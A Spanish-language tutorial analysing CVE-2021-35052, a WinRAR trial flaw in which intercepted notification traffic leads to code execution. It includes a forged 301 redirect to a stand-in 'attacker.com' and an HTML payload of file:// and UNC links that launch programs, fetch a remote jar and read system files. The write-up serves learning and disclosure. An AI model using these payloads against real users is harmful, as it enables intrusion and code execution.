En este artículo hablamos de una vulnerabilidad en la versión de prueba de WinRAR que tiene importantes consecuencias para la gestión del software de terceros. Esta vulnerabilidad permite a un atacante interceptar y modificar las peticiones enviadas al usuario de la aplicación. Esto puede ser utilizado para lograr la ejecución remota de código (RCE) en el ordenador de la víctima. Se le ha asignado el CVE ID – CVE-2021-35052.
Requerimientos:
- Maquina Windows – Para analizar la aplicación
- Software – Instalador trial de WinRAR
Resposabilidad:
En este tutorías utilizaremos técnicas de hacking, con el único fin de aprendizaje. No promovemos su utilización ni con fines lucrativos o incorrectos. No nos hacemos responsables de cualquier daño o menoscabo que pueda generar en los sistemas utilizados. La responsabilidad es absoluta del usuario de este tutorial.
Conocimientos:
- Linux – No aplica
- Programación – Medio
- Kali Linux – No aplica
- Windows – Bajo
- Redes – No aplica
- Software – Muy alto
Empezamos:
WinRAR es una aplicación para gestionar archivos comprimidos en sistemas operativos Windows. Permite crear y descomprimir formatos de archivo comunes como RAR y ZIP. Se distribuye como software de prueba, lo que permite al usuario experimentar todas las funciones de la aplicación durante un número determinado de días. Después, el usuario puede seguir utilizando las aplicaciones con algunas funciones desactivadas.
Encontramos esta vulnerabilidad por casualidad, en la versión 5.70 de WinRAR. Habíamos instalado y utilizado la aplicación durante algún tiempo, cuando produjo un error de JavaScript:
Esto fue sorprendente, ya que el error indica que el motor de Internet Explorer está mostrando esta ventana de error.
Después de algunos experimentos, quedó claro que una vez que el periodo de prueba ha expirado, una de cada tres veces que se inicia la aplicación WinRAR.exe se muestra esta ventana de notificación. Esta ventana utiliza la implementación mshtml.dll para Borland C++ en la que se ha escrito WinRAR.
Configuramos nuestro Burp Suite local como un proxy de Windows por defecto y tratamos de interceptar el tráfico y entender más sobre por qué estaba sucediendo esto y si sería posible explotar este error. Como la solicitud se envía a través de HTTPS, el usuario de WinRAR recibirá una notificación sobre el certificado inseguro autofirmado que utiliza Burp. Sin embargo, por experiencia, muchos usuarios hacen clic en «Sí» para continuar, para utilizar la aplicación.
Mirando la propia petición, podemos ver la versión (5.7.0) y la arquitectura (x64) de la aplicación WinRAR:
GET /?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64 HTTP/1.1 Accept: */* Accept-Language: ru-RU UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3) Host: notifier.rarlab.com Connection: close Cookie: _wr=; _gid=; _ga=
A continuación, intentamos modificar las respuestas interceptadas de WinRAR al usuario. En lugar de interceptar y cambiar las respuestas del dominio por defecto «notifier.rarlab.com» cada vez con nuestro contenido malicioso, nos dimos cuenta de que si el código de respuesta se cambia a «301 Moved Permanently», entonces la redirección a nuestro dominio malicioso «attacker.com» se almacenará en la caché y todas las solicitudes irán al «attacker.com».
HTTP/1.1 301 Moved Permanently content-length: 0 Location: http://attacker.com/?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64 connection: close
Ejecución remota de código
Este ataque Man-in-the-Middle requiere ARP-spoofing, por lo que suponemos que un potencial atacante ya tiene acceso al mismo dominio de red. Esto nos situará en la Zona 1 de las zonas de seguridad de IE. Intentamos varios vectores de ataque diferentes para ver qué es factible con este tipo de acceso.
<a href="file://10.0.12.34/applications/test.jar">file://10.0.12.34/applications/test.jar</a><br> <a href="\\10.0.12.34/applications/test.jar">\\10.0.12.34/applications/test.jar</a><br> <a href="file://localhost/C:/windows/system32/drivers/etc/hosts">file://localhost/C:/windows/system32/drivers/etc/hosts</a><br> <a href="file:///C:/windows/system32/calc.exe">file:///C:/windows/system32/calc.exe</a><br> <a href="file:///C:\\windows\\system.ini">file:///C:\\windows\\system.ini</a><br>
El código anterior representa la respuesta falsa mostrando varios vectores de ataque posibles, como la ejecución de aplicaciones, la recuperación de información del host local y la ejecución de la aplicación de la calculadora.
La mayoría de los vectores de ataque tuvieron éxito, pero hay que señalar que muchos de ellos dan lugar a una advertencia de seguridad adicional de Windows. Para que estos tengan éxito, el usuario tendría que hacer clic en «Ejecutar» en lugar de «Cancelar».
Sin embargo, hay algunos tipos de archivos que pueden ejecutarse sin que aparezca la advertencia de seguridad. Estos son:
- .DOCX
- .PY
- .RAR
Es posible la ejecución remota de código con archivos RAR en WinRAR contra versiones anteriores a la 5.7. Esto puede hacerse a través de un conocido exploit, CVE-2018-20250.
Conclusión
Uno de los mayores retos a los que se enfrenta una organización es la gestión del software de terceros. Una vez instalado, el software de terceros tiene acceso a leer, escribir y modificar datos en los dispositivos que acceden a las redes corporativas. Es imposible auditar todas las aplicaciones que podría instalar un usuario, por lo que la política es fundamental para gestionar el riesgo asociado a las aplicaciones externas y equilibrar este riesgo con la necesidad empresarial de una variedad de aplicaciones. Una gestión inadecuada puede tener consecuencias de gran alcance.
